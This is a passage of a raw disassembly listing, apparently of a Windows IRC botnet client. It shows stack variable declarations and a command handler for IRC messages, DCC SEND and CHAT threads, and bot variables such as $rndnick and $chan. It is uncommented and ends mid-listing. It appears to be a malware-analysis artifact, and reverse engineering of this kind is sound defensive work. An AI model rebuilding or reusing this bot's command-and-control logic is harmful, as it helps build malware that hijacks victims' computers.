-1BA0h var_1B9C = dword ptr -1B9Ch var_1B98 = dword ptr -1B98h var_1B90 = byte ptr -1B90h var_1B7C = byte ptr -1B7Ch var_1A78 = byte ptr -1A78h var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = dword ptr -19E4h var_19E0 = byte ptr -19E0h var_1960 = byte ptr -1960h var_1920 = byte ptr -1920h var_1820 = dword ptr -1820h var_181C = dword ptr -181Ch var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = dword ptr -1808h var_1804 = byte ptr -1804h var_17CC = byte ptr -17CCh var_1794 = byte ptr -1794h var_1778 = byte ptr -1778h var_1774 = byte ptr -1774h var_16F4 = byte ptr -16F4h var_16B4 = byte ptr -16B4h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = dword ptr -1614h var_1610 = byte ptr -1610h var_1590 = byte ptr -1590h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = dword ptr -1504h var_1500 = byte ptr -1500h var_14F0 = byte ptr -14F0h var_1470 = byte ptr -1470h var_13F0 = dword ptr -13F0h var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = dword ptr -13D4h var_13D0 = byte ptr -13D0h var_1350 = byte ptr -1350h var_12D0 = byte ptr -12D0h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1234 = dword ptr -1234h var_122C = byte ptr -122Ch var_11AC = byte ptr -11ACh var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1124 = dword ptr -1124h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = dword ptr -1114h var_110C = dword ptr -110Ch var_1108 = byte ptr -1108h var_1088 = byte ptr -1088h var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_1000 = dword ptr -1000h var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = dword ptr -0FE8h var_FE4 = byte ptr -0FE4h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = dword ptr -0F54h var_F50 = byte ptr -0F50h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = dword ptr -0EC0h var_EBC = byte ptr -0EBCh var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = dword ptr -0E30h var_E2C = byte ptr -0E2Ch var_DAC = byte ptr -0DACh var_D9C = byte ptr -0D9Ch var_D7C = dword ptr -0D7Ch var_D78 = byte ptr -0D78h var_CF8 = byte ptr -0CF8h var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = dword ptr -0C54h var_C50 = byte ptr -0C50h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = dword ptr -0BC4h var_BC0 = byte ptr -0BC0h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = dword ptr -0B2Ch var_B28 = byte ptr -0B28h var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = dword ptr -9FCh var_9F8 = byte ptr -9F8h var_978 = word ptr -978h var_974 = dword ptr -974h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_964 = dword ptr -964h var_95C = byte ptr -95Ch var_8FB = byte ptr -8FBh var_8FA = byte ptr -8FAh var_8F8 = byte ptr -8F8h var_8F7 = byte ptr -8F7h var_8EE = byte ptr -8EEh var_8EC = byte ptr -8ECh var_8EA = byte ptr -8EAh var_8E9 = byte ptr -8E9h var_85C = byte ptr -85Ch var_84C = byte ptr -84Ch var_7CC = byte ptr -7CCh var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = dword ptr -73Ch var_730 = dword ptr -730h var_72C = dword ptr -72Ch var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = dword ptr -718h var_710 = dword ptr -710h var_70C = byte ptr -70Ch var_68C = dword ptr -68Ch var_684 = dword ptr -684h var_680 = dword ptr -680h var_67C = dword ptr -67Ch var_674 = dword ptr -674h var_670 = dword ptr -670h var_66C = dword ptr -66Ch var_664 = dword ptr -664h var_638 = dword ptr -638h var_634 = word ptr -634h var_620 = dword ptr -620h var_61C = byte ptr -61Ch var_59C = byte ptr -59Ch var_58C = dword ptr -58Ch var_588 = dword ptr -588h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_570 = dword ptr -570h var_56C = byte ptr -56Ch var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C4 = byte ptr -4C4h var_4B8 = byte ptr -4B8h var_480 = byte ptr -480h var_470 = byte ptr -470h var_3F0 = byte ptr -3F0h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_354 = dword ptr -354h var_350 = dword ptr -350h var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_33C = dword ptr -33Ch var_334 = byte ptr -334h var_318 = word ptr -318h var_316 = word ptr -316h var_314 = dword ptr -314h var_308 = byte ptr -308h var_304 = byte ptr -304h var_300 = dword ptr -300h var_2F4 = byte ptr -2F4h var_2F0 = dword ptr -2F0h var_2E4 = byte ptr -2E4h var_2E0 = byte ptr -2E0h var_2DF = byte ptr -2DFh var_2DE = byte ptr -2DEh var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = byte ptr -2C0h var_C0 = byte ptr -0C0h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D84h call sub_41C2F0 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C0] push ebx push eax mov [ebp+var_A4], 3 mov [ebp+var_10], ebx mov [ebp+var_A8], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C4], ebx call sub_41BD60 push 1Bh lea eax, [ebp+var_334] push [ebp+arg_10] push eax call sub_41BDC0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F9E push esi lea eax, [ebp+var_4484] push ebx push eax call sub_41BD60 dec esi lea eax, [ebp+var_4484] push esi push [ebp+arg_0] push eax call sub_41BDC0 lea eax, [ebp+var_4484] push offset asc_42E0CC ; " :" push eax call sub_41C0D0 mov [ebp+var_C], eax lea eax, [ebp+var_4484] push esi push eax lea eax, [ebp+var_4AEC] push eax call sub_41BDC0 mov esi, offset asc_42E0C8 ; " " lea eax, [ebp+var_4AEC] push esi push eax call sub_41C8C4 xor edi, edi add esp, 34h mov [ebp+var_90], eax inc edi loc_401C2C: ; CODE XREF: sub_401B66+DAj push esi push ebx call sub_41C8C4 mov [ebp+edi*4+var_90], eax inc edi pop ecx cmp edi, 20h pop ecx jl short loc_401C2C mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F9E cmp [ebp+var_8C], ebx jz loc_401F9E push 100h lea eax, [ebp+var_95C] push ebx push eax call sub_41BD60 add esp, 0Ch push 1Fh pop edx loc_401C74: ; CODE XREF: sub_401B66+142j lea ecx, [ebp+edx*4+var_90] mov eax, [ecx] cmp eax, ebx jz short loc_401CA7 cmp byte ptr [eax], 2Dh jnz short loc_401CAA cmp [eax+2], bl jnz short loc_401CAA movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_95C], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401CA7: ; CODE XREF: sub_401B66+119j dec edx jns short loc_401C74 loc_401CAA: ; CODE XREF: sub_401B66+11Ej ; sub_401B66+123j xor edi, edi inc edi cmp [ebp+var_8E9], bl jz short loc_401CB8 mov [ebp+var_8], edi loc_401CB8: ; CODE XREF: sub_401B66+14Dj cmp [ebp+var_8EE], bl jz short loc_401CC6 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401CC6: ; CODE XREF: sub_401B66+158j cmp byte ptr [esi], 0Ah jz short loc_401D00 push 7Fh lea eax, [ebp+var_E2C] push esi push eax call sub_41BDC0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C0] push eax call sub_41BDC0 lea eax, [ebp+var_C0] push offset asc_42E0C4 ; "!" push eax call sub_41C8C4 add esp, 20h loc_401D00: ; CODE XREF: sub_401B66+163j push esi push offset aPing ; "PING" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_401D51 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40993C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401DF5 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40993C add esp, 10h jmp loc_401DF5 ; --------------------------------------------------------------------------- loc_401D51: ; CODE XREF: sub_401B66+1A9j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4098F6 push esi push offset a005 ; "005" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4098F6 push esi push offset a302 ; "302" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_401DBC push offset a@ ; "@" push [ebp+var_84] call sub_41C0D0 pop ecx cmp eax, ebx pop ecx jz short loc_401DF5 inc eax push 9Fh loc_401DAE: ; DATA XREF: .RLPack:004FEE33r push eax push [ebp+arg_1C] call sub_41BDC0 add esp, 0Ch jmp short loc_401DF5 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401B66+22Aj push esi push offset a433 ; "433" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_401DFC push ebx push dword_4CDB0C push dword_42A098 push [ebp+arg_10] call sub_40AF23 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40993C add esp, 1Ch loc_401DF5: ; CODE XREF: sub_401B66+1CAj ; sub_401B66+1E6j ... mov eax, edi jmp loc_401FA1 ; --------------------------------------------------------------------------- loc_401DFC: ; CODE XREF: sub_401B66+265j mov edi, [ebp+arg_18] lea eax, [ebp+var_E2C] push eax push edi call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_401E1C mov [ebp+var_A8], 1 loc_401E1C: ; CODE XREF: sub_401B66+2AAj mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_401EE6 cmp [edi], bl jz short loc_401EB1 push 7Fh lea eax, [ebp+var_E2C] push edi push eax call sub_41BDC0 add esp, 0Ch cmp [ebp+var_84], ebx jz short loc_401EB1 push [ebp+var_84] lea eax, [ebp+var_C0] push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_401EB1 lea eax, [ebp+var_C0] mov [edi], bl push eax lea eax, [ebp+var_2C0] push offset unk_42E058 push eax call sub_41C056 lea eax, [ebp+var_2C0] push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40993C lea eax, [ebp+var_2C0] push eax call sub_4157A5 add esp, 20h loc_401EB1: ; CODE XREF: sub_401B66+2D3j ; sub_401B66+2EDj ... push [ebp+var_84] push [ebp+arg_10] call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_401F9E push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401ED9: ; CODE XREF: sub_401B66+587j ; sub_401B66+83Aj ... push [ebp+arg_4] call sub_40993C jmp loc_4042AE ; --------------------------------------------------------------------------- loc_401EE6: ; CODE XREF: sub_401B66+2CBj push esi push offset aNick ; "NICK" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_402006 mov eax, [ebp+var_88] lea esi, [eax+1] lea eax, [ebp+var_E2C] push eax push edi mov [ebp+arg_24], esi call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_401F4D lea eax, [ebp+var_E2C] push 21h push eax call sub_41C780 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F4D lea eax, [edi+1] push esi push eax mov byte ptr [edi], 3Ah call sub_41C680 push [ebp+arg_0] add edi, 2 push edi call sub_41C690 add esp, 10h loc_401F4D: ; CODE XREF: sub_401B66+3B2j ; sub_401B66+3C9j cmp esi, ebx jz short loc_401F9E push [ebp+arg_10] lea eax, [ebp+var_C0] push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_401F76 push 0Fh push esi push [ebp+arg_10] call sub_41BDC0 jmp loc_4036C2 ; --------------------------------------------------------------------------- loc_401F76: ; CODE XREF: sub_401B66+3FEj mov edi, [ebp+arg_18] xor esi, esi loc_401F7B: ; CODE XREF: sub_401B66+436j cmp [edi], bl jz short loc_401F92 lea eax, [ebp+var_E2C] push eax push edi call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_401FA6 loc_401F92: ; CODE XREF: sub_401B66+417j inc esi add edi, 80h cmp esi, 1 jl short loc_401F7B loc_401F9E: ; CODE XREF: sub_401B66+5Bj ; sub_401B66+E4j ... xor eax, eax inc eax loc_401FA1: ; CODE XREF: sub_401B66+291j ; sub_401B66+2A08j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401FA6: ; CODE XREF: sub_401B66+42Aj lea eax, [ebp+var_E2C] push 21h push eax call sub_41C780 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F9E push eax call sub_41B7B0 push [ebp+arg_24] mov edi, eax call sub_41B7B0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F9E push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41C056 push ebx lea eax, [ebp+var_45E8] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409982 add esp, 24h jmp short loc_401F9E ; --------------------------------------------------------------------------- loc_402006: ; CODE XREF: sub_401B66+38Fj push esi push offset aPart ; "PART" call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_402028 push esi push offset aQuit ; "QUIT" call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402053 loc_402028: ; CODE XREF: sub_401B66+4AFj xor esi, esi mov [ebp+arg_C], edi loc_40202D: ; CODE XREF: sub_401B66+4EBj mov eax, [ebp+arg_C] cmp [eax], bl jz short loc_402046 push [ebp+var_90] push eax call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_402094 loc_402046: ; CODE XREF: sub_401B66+4CCj add [ebp+arg_C], 80h inc esi cmp esi, 1 jl short loc_40202D loc_402053: ; CODE XREF: sub_401B66+4C0j push [ebp+var_8C] push offset a353 ; "353" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_4020F2 push [ebp+var_80] push [ebp+arg_8] call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_402087 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_402087: ; CODE XREF: sub_401B66+516j push [ebp+var_80] push offset unk_42E004 jmp loc_4098EA ; --------------------------------------------------------------------------- loc_402094: ; CODE XREF: sub_401B66+4DEj lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C0] shl esi, 7 push offset unk_42DFE0 push eax mov [esi+edi], bl call sub_41C056 lea eax, [ebp+var_2C0] push eax call sub_4157A5 push [ebp+var_8C] push offset aPart ; "PART" call sub_41C840 add esp, 18h test eax, eax jnz loc_401F9E lea eax, [ebp+var_2C0] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401ED9 ; --------------------------------------------------------------------------- loc_4020F2: ; CODE XREF: sub_401B66+501j push [ebp+var_8C] mov edi, offset aPrivmsg ; "PRIVMSG" push edi call sub_41C840 pop ecx mov esi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402146 push [ebp+var_8C] push esi call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_402146 push [ebp+var_8C] push offset dword_42DFCC call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40976F cmp dword_42A088, ebx jz loc_40976F loc_402146: ; CODE XREF: sub_401B66+5A6j ; sub_401B66+5B8j push [ebp+var_8C] push edi call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4022B9 push [ebp+var_8C] push esi call sub_41C840 pop ecx test eax, eax pop ecx jz loc_4022B9 mov eax, [ebp+var_84] inc [ebp+var_80] mov [ebp+var_A4], 4 mov [ebp+var_88], eax loc_40218B: ; CODE XREF: sub_401B66+812j ; sub_401B66+84Ej ... mov eax, [ebp+var_A4] mov esi, eax shl esi, 2 lea edi, [ebp+esi+var_90] mov eax, [edi] push eax push offset dword_42DFC4 mov [ebp+arg_8], eax call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_402555 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_402420 cmp [ebp+var_A8], ebx jz loc_4023F6 push [ebp+esi+var_88] mov edi, offset aS_2 ; "%s" lea eax, [ebp+var_1B7C] push edi push eax call sub_41C056 push [ebp+esi+var_84] lea eax, [ebp+var_1B90] push edi push eax call sub_41C056 push [ebp+esi+var_80] call sub_41BF49 mov [ebp+var_19F8], eax mov eax, [ebp+arg_4] mov [ebp+var_1B98], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_1A78] push eax call sub_41BDC0 mov eax, [ebp+var_4] mov [ebp+var_19F0], eax mov eax, [ebp+var_8] mov [ebp+var_19EC], eax lea eax, [ebp+var_1A78] push eax lea eax, [ebp+var_1B7C] push eax lea eax, [ebp+var_2C0] push offset unk_42DF88 push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 1Ah push eax call sub_40AF8D add esp, 44h mov [ebp+var_19F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B98] push ebx push eax push offset sub_41673A push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_19F4] loc_4022A0: ; DATA XREF: sub_4FF770+2Ew imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jz loc_40928E jmp loc_4023EC ; --------------------------------------------------------------------------- loc_4022B9: ; CODE XREF: sub_401B66+5F0j ; sub_401B66+606j push [ebp+var_8C] push esi call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_4022D2 mov [ebp+var_4], 1 loc_4022D2: ; CODE XREF: sub_401B66+763j cmp [ebp+var_88], ebx jz loc_401F9E push offset dword_42DF84 push [ebp+var_88] call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_4022F9 cmp [ebp+var_4], ebx loc_4022F7: ; DATA XREF: sub_4FF701w ; sub_4FF701+29r jz short loc_402305 loc_4022F9: ; CODE XREF: sub_401B66+78Cj lea eax, [ebp+var_C0] mov [ebp+var_88], eax loc_402305: ; CODE XREF: sub_401B66:loc_4022F7j cmp [ebp+var_84], ebx jz loc_401F9E inc [ebp+var_84] jz short loc_40234F cmp [ebp+arg_10], ebx jz short loc_40234F lea eax, [ebp+var_334] push eax call sub_41B7B0 push eax lea eax, [ebp+var_334] push [ebp+var_84] push eax call sub_41C640 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_A4], eax jmp short loc_402355 ; --------------------------------------------------------------------------- loc_40234F: ; CODE XREF: sub_401B66+7B1j ; sub_401B66+7B6j mov eax, [ebp+var_A4] loc_402355: ; CODE XREF: sub_401B66+7E7j mov edi, eax shl edi, 2 mov esi, [ebp+edi+var_90] cmp esi, ebx jz loc_401F9E push esi push offset dword_42DF78 call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40218B mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A5 mov eax, dword_4CDB18 mov eax, off_42A174[eax*4] cmp [eax], bl jz short loc_4023A5 push eax push ecx push offset dword_42DF5C jmp loc_401ED9 ; --------------------------------------------------------------------------- loc_4023A5: ; CODE XREF: sub_401B66+821j ; sub_401B66+831j push esi push offset dword_42DF54 call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40218B mov edi, [ebp+edi+var_8C] cmp edi, ebx jz loc_40218B mov eax, [ebp+var_88] cmp byte ptr [eax], 23h jz loc_40218B push edi push eax push offset dword_42DF3C jmp loc_401ED9 ; --------------------------------------------------------------------------- loc_4023E4: ; CODE XREF: sub_401B66+88Cj push 32h call dword_428064 ; Sleep loc_4023EC: ; CODE XREF: sub_401B66+74Ej cmp [ebp+var_19E8], ebx jz short loc_4023E4 jmp short loc_402418 ; --------------------------------------------------------------------------- loc_4023F6: ; CODE XREF: sub_401B66+672j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset unk_42DEF8 push eax call sub_41C056 add esp, 10h loc_402418: ; CODE XREF: sub_401B66+88Ej ; sub_401B66+9C8j ... xor esi, esi inc esi jmp loc_406CBF ; --------------------------------------------------------------------------- loc_402420: ; CODE XREF: sub_401B66+666j push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40256B cmp [ebp+var_A8], ebx jz loc_402544 push 1Bh call sub_40B1CF test eax, eax pop ecx jnz loc_402533 push [ebp+esi+var_84] lea eax, [ebp+var_2AA4] push offset aS_2 ; "%s" push eax call sub_41C056 push [ebp+esi+var_80] call sub_41BF49 mov [ebp+var_290C], eax mov eax, [ebp+arg_4] mov [ebp+var_2AAC], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_298C] push eax call sub_41BDC0 mov eax, [ebp+var_4] mov [ebp+var_2904], eax mov eax, [ebp+var_8] mov [ebp+var_2900], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C0] push offset unk_42DECC push eax call sub_41C056 push ebx lea eax, [ebp+var_2C0] push 1Bh push eax call sub_40AF8D add esp, 34h mov [ebp+var_2908], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AAC] push ebx push eax push offset sub_4161D7 push ebx push ebx call dword_42807C ; CreateThread mov ecx, [ebp+var_2908] imul ecx, 234h cmp eax, ebx mov dword_440BAC[ecx], eax jnz short loc_402526 call dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42DE94 jmp loc_408338 ; --------------------------------------------------------------------------- loc_40251E: ; CODE XREF: sub_401B66+9C6j push 32h call dword_428064 ; Sleep loc_402526: ; CODE XREF: sub_401B66+9A5j cmp [ebp+var_28FC], ebx jz short loc_40251E jmp loc_402418 ; --------------------------------------------------------------------------- loc_402533: ; CODE XREF: sub_401B66+8EBj lea eax, [ebp+var_C0] push eax push offset unk_42DE64 jmp loc_408338 ; --------------------------------------------------------------------------- loc_402544: ; CODE XREF: sub_401B66+8DBj lea eax, [ebp+var_C0] push eax push offset unk_42DE30 jmp loc_408338 ; --------------------------------------------------------------------------- loc_402555: ; CODE XREF: sub_401B66+64Bj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42A090 mov [edi], ecx jnz loc_401F9E loc_40256B: ; CODE XREF: sub_401B66+8CFj mov edi, [edi] push edi push offset a4_0 ; "4" mov [ebp+arg_8], edi call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409777 push edi push offset aHi ; "hi" call sub_41C840 pop ecx test eax, eax pop ecx jz loc_409777 cmp [ebp+var_A8], ebx jnz short loc_4025BC push [ebp+var_8C] push offset dword_42DFCC call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40976F loc_4025BC: ; CODE XREF: sub_401B66+A3Aj cmp [ebp+arg_28], ebx jnz loc_40976F xor edi, edi cmp dword_42A4A8, ebx jle loc_402769 mov [ebp+arg_20], offset dword_43FE18 loc_4025DA: ; CODE XREF: sub_401B66+A93j push [ebp+arg_8] push [ebp+arg_20] call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_402600 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42A4A8 jl short loc_4025DA jmp loc_402769 ; --------------------------------------------------------------------------- loc_402600: ; CODE XREF: sub_401B66+A83j push offset asc_42E0CC ; " :" push [ebp+arg_0] call sub_41C0D0 pop ecx cmp eax, ebx pop ecx jz loc_401F9E mov cl, byte_42A090 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42A090 mov [eax+3], cl lea ecx, dword_43FE30[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BDC0 lea eax, dword_43FE18[edi] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax lea edi, [ebp+esi+var_50] loc_40265B: ; CODE XREF: sub_401B66+B98j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41C056 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C0D0 add esp, 14h test eax, eax jz short loc_4026BD cmp [edi], ebx jz short loc_4026C1 push [ebp+arg_C] call sub_41B7B0 add [ebp+var_C], eax pop ecx jz short loc_4026F5 push dword ptr [edi-4] push [ebp+var_C] call sub_41C0D0 pop ecx cmp eax, ebx pop ecx jz short loc_4026F5 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4185D4 add esp, 0Ch jmp short loc_4026F5 ; --------------------------------------------------------------------------- loc_4026BD: ; CODE XREF: sub_401B66+B1Dj cmp [edi], ebx jnz short loc_4026F5 loc_4026C1: ; CODE XREF: sub_401B66+B21j lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BDC0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4185D4 add esp, 18h loc_4026F5: ; CODE XREF: sub_401B66+B2Fj ; sub_401B66+B40j ... dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg loc_40265B lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_402711: ; CODE XREF: sub_401B66+BF7j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41C056 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41C0D0 add esp, 14h test eax, eax jz short loc_402754 mov eax, [edi] cmp eax, ebx jz short loc_402754 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4185D4 add esp, 0Ch loc_402754: ; CODE XREF: sub_401B66+BD3j ; sub_401B66+BD9j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_402711 mov [ebp+var_2C4], 1 loc_402769: ; CODE XREF: sub_401B66+A67j ; sub_401B66+A95j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42A090 jz short loc_402782 cmp [ebp+var_2C4], ebx jz loc_40296E loc_402782: ; CODE XREF: sub_401B66+C0Ej push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_4185D4 lea eax, [ebp+var_C0] push eax push offset aUser_0 ; "$user" push edi call sub_4185D4 push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_4185D4 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AF23 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_4185D4 add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_4185D4 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41C0D0 add esp, 14h jmp loc_4028E9 ; 